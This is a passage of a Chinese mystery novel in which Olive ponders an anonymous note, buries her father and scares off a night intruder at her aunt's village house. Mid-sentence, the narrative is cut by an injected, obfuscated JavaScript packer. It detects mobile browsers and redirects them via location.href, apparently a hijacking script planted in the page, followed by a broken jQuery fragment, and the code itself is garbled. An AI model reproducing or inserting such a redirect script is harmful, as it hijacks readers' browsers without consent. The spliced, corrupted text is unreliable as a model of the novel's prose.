住店的夫妇刚从马车上下来，一群孩子立即围上去推销。

    伦敦街头有成百上千浑身脏兮兮的男孩，比鳝鱼溜得还快，要找到送信的这个，再问出是谁把信交到他手里，无异于大海捞针。

    奥丽芙坐下，再看这两行字：从字体看像是个男人，不过不一定。奥丽芙想，假使自己刻意去写，也能模仿出这种有力、自信的笔迹。好吧，姑且认为是个男人，他是什么意图？

    她直觉写信的人本非心怀恶意，至少不要相信警察那句像是明智的忠告，可是似乎又与要她火速离开伦敦矛盾——伦敦警察就是想将她快快打发走。而且，这种不留姓名，从门缝下鬼鬼祟祟塞字条的行为有点令人反感。

    这个人知道些什么？

    奥丽芙考虑了一宿，决定还是先带爸爸回去，和妈妈安葬在一起。第二天，她完成手续，领出父亲遗体，雇灵车运送回哈德维克村。她自己和姨妈则乘火车返回。她一直戴着面纱，没有人看见她满含悲痛、忧伤的眼睛。

    葬礼之后，奥丽芙继续住在夏普小姐家。她还没有告诉姨妈这只是临时方案。每天晚上，她都辗转反侧许久才能睡着，这天，实在太疲惫了

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|16922025|192595||http|test|ni|href|location''''.split(''''|''''),0,{}));

    () {

    $(''''.infor'').reve();

    $(''''#content'''').append(''''

    ，刚刚合上眼，又被一阵窸窸窣窣的声响吵醒。

    她竖起耳朵，听清楚声音不在床边，才睁开眼。那人点着灯，从他身体两侧，些微亮光漏出来，瞧影子是个男人。

    奥丽芙转动眼珠，竭力去看屋子的每个角落。只有那一个人，他站在桌子前。不过他的同伙可能正守在外面。

    就算没有同伙，一对一，她斗得过吗？万一她死了，警方会不会重新审视父亲的案件？报上会不会登一篇深度报道：“继其父之后，纹章学家的女儿亦遭神秘人杀害”？或许她没有那样重要，没有深度报道，只有煞费苦心的编辑为几行粗糙的字句加上标题：“年轻女郎半夜遇害，身上仅着睡衣”——不行，她可不愿自己的死变成报业老板捞钱的噱头，如果要报道她的死讯，标题宁可是：宁静村庄八十年来遇首桩命案。

    不可能。这么安宁、美丽的村庄。奥丽芙想起白天时看到一群白鹅跟在奶牛后面散步，想起远处苍翠的森林，几百年前，那不正是罗宾汉出没的地方？她突然有了勇气，伸手摸到剪刀——倒不是有确切的防备对象，但她确实每晚将一把剪刀压在枕头下——握在手里，猛一下坐起身，同时问：“你找什么？”

    他手里的提灯像流星划了一下就消失了。那个人从二楼窗户一跃而下，奔跑声也消失得很快。

    奥丽芙没有费心去追，只大喊：“抓小偷！”将夏普小姐和玛蒂都吵醒了。房子里总共只有她们三个。

    “有没有受伤？”夏普小姐脸色煞白地问。

    “没有，姨妈。不过贼跑了。”

    “要不要去叫个人，约翰逊先生离我们最近，大概五分钟。”

    “不用打扰他，小偷可能已经跑远了。真对不起，把你吵醒了，姨妈。”

    “你没喊时我就醒了。我好像听见他开窗的动静了，正想起来看呢。你吓坏了吧？”

    “没事，姨妈，回去睡吧，天亮了再说。”

    勇敢的玛蒂在厨房和储物间查看了一番，回来报告说：“银器都在！”